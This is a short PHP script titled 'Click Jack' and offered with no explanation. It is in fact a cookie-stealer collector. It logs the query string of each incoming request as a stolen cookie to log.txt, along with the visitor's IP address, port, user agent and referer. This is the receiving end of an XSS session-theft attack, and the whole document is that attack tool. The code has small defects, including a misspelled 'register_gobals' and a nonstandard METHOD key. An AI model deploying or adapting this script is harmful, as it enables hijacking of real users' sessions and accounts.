Click Jack

<?php
function GetIP() {
 if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
 $ip = getenv("HTTP_CLIENT_IP");
 else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
 $ip = getenv("HTTP_X_FORWARDED_FOR");
 else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
 $ip = getenv("REMOTE_ADDR");
 else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
 $ip = $_SERVER['REMOTE_ADDR'];
 else
 $ip = "unknown";
 return($ip);
}

function logData() {
 $ipLog="log.txt";
 $cookie = $_SERVER['QUERY_STRING'];
 $register_globals = (bool) ini_get('register_gobals');
 if ($register_globals) $ip = getenv('REMOTE_ADDR');
 else $ip = GetIP();

$rem_port = $_SERVER['REMOTE_PORT'];
 $user_agent = $_SERVER['HTTP_USER_AGENT'];
 $rqst_method = $_SERVER['METHOD'];
 $rem_host = $_SERVER['REMOTE_HOST'];
 $referer = $_SERVER['HTTP_REFERER'];
 $date=date ("l dS of F Y h:i:s A");
 $log=fopen("$ipLog", "a+");

if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
 fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
 else
 fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
 fclose($log);
}
logData();
?>